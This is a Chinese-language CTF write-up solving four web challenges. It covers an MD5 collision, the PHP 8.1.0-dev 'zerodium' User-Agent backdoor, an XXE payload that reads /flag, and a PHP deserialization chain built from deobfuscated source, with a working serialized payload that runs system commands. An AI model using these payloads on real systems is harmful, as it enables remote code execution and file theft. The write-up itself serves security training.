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EasyMD5

叫我们传两个文件，随便传一个1.txt,2.txt上去，发现回显”Not a PDF! angry!!!!!! get out from my page”。那就传1.pdf,2.pdf上去，回显”do you konw what is MD5 Collision?”，大概率让我们用md5collgen进行md5碰撞生成md5值相同的pdf文件。

具体payload:./md5collgen -o 1.pdf 2.pdf，将生成后的两个pdf文件上传即可获得flag

PHP的后门

原网站提示我们查看php版本，发现版本为8.1.0-dev，这个版本的php被植入了后门，在数据包中如果有User-agentt: zerodium,紧接着后面的代码就可以任意执行。

具体做法：burp抓包，加一个数据包头，为User-agentt: zerodiumsystem("cat /flag");,然后发包即可得到flag。

PHP的XXE

原网站直接给出了phpinfo,根据题目的提示我们搜索libxml Version,发现是2.8.0，这个版本中在www目录下有个dom.php文件进行自由xml实体解析，那就存在xxe漏洞。

具体做法：访问网站的dom.php文件，burp抓包，手动写上POST部分：

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<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///flag">
]>
<a>&xxe;</a>

然后在返回包里就能看见flag

雏形系统

原网站上啥都没有，只能目录扫描，然后扫出来www.zip备用网站压缩包，打开发现源码qsnctf.php:

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<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Page</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f0f0f0;
            padding: 20px;
        }

        .container {
            max-width: 400px;
            margin: 0 auto;
            background-color: #fff;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }

        .alert {
            padding: 10px;
            background-color: #f8d7da;
            color: #721c24;
            border-radius: 5px;
            margin-bottom: 10px;
        }

        form {
            margin-bottom: 20px;
        }

        form input[type="text"],
        form input[type="password"],
        form input[type="submit"] {
            width: 100%;
            padding: 10px;
            margin-bottom: 10px;
            border: 1px solid #ccc;
            border-radius: 3px;
        }

        form input[type="submit"] {
            background-color: #007bff;
            color: #fff;
            border: none;
            cursor: pointer;
        }
    </style>
</head>

<body>
<div class="container">
    <h1>Welcome to the login testing page!</h1>
    <hr>
    <?php
    $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
    ?>
    <form method="POST">
        <input type="text" name="username" placeholder="Username" required>
        <input type="password" name="password" placeholder="Password" required>
        <input type="submit" value="Login">
    </form>

</div>
</body>
</html>

中间有用的是部分，单独拿出来跑一下，发现eval里的内容是base64_decode(…..),解码后内容是

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$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU==";  
        eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),    
        $OO0O00($O0O000,0,$OO0000))));

最后的eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));改成echo '?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)));加在末尾再跑一下，发现真源码:

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<?php
    error_reporting(0);

    class shi
    {
        public $next;
        public $pass;
        public function __toString(){
            $this->next::PLZ($this->pass);
        }
    }
    class wo
    {
        public $sex;
        public $age;
        public $intention;
        public function __destruct(){
            echo "Hi Try serialize Me!";
            $this->inspect();
        }
        function inspect(){
            if($this->sex=='boy'&&$this->age=='eighteen')
            {
                echo $this->intention;
            }
            echo "🙅18岁🈲";
        }
    }

    class Demo
    {
        public $a;
        static function __callStatic($action, $do)
        {
            global $b;
            $b($do[0]);
        }
    }

    $b = $_POST['password'];
    $a = $_POST['username'];
    @unserialize($a);
    if (!isset($b)) {
        echo "==================PLZ Input Your Name!==================";
    }
    if($a=='admin'&&$b=="'k1fuhu's test demo")
    {
        echo("登录成功");
    }

    ?>

是反序列化，具体链子为:wo->shi->Demo,exp:

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<?php
    class shi
    {
        public $next;
        public $pass;
    }
    class wo
    {
        public $sex="boy";
        public $age="eighteen";
        public $intention;
    }

    class Demo
    {
        public $a;
    }
$flag=new Demo();
$two=new shi();
$two->pass="cat /flag";
$two->next=$flag;
$first=new wo();
$first->intention=$two;
echo serialize($first);
?>

最后的payload:username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":1:{s:1:"a";N;}s:4:"pass";s:9:"cat /flag";}}&password=system

用hackbar POST传上去就有flag了

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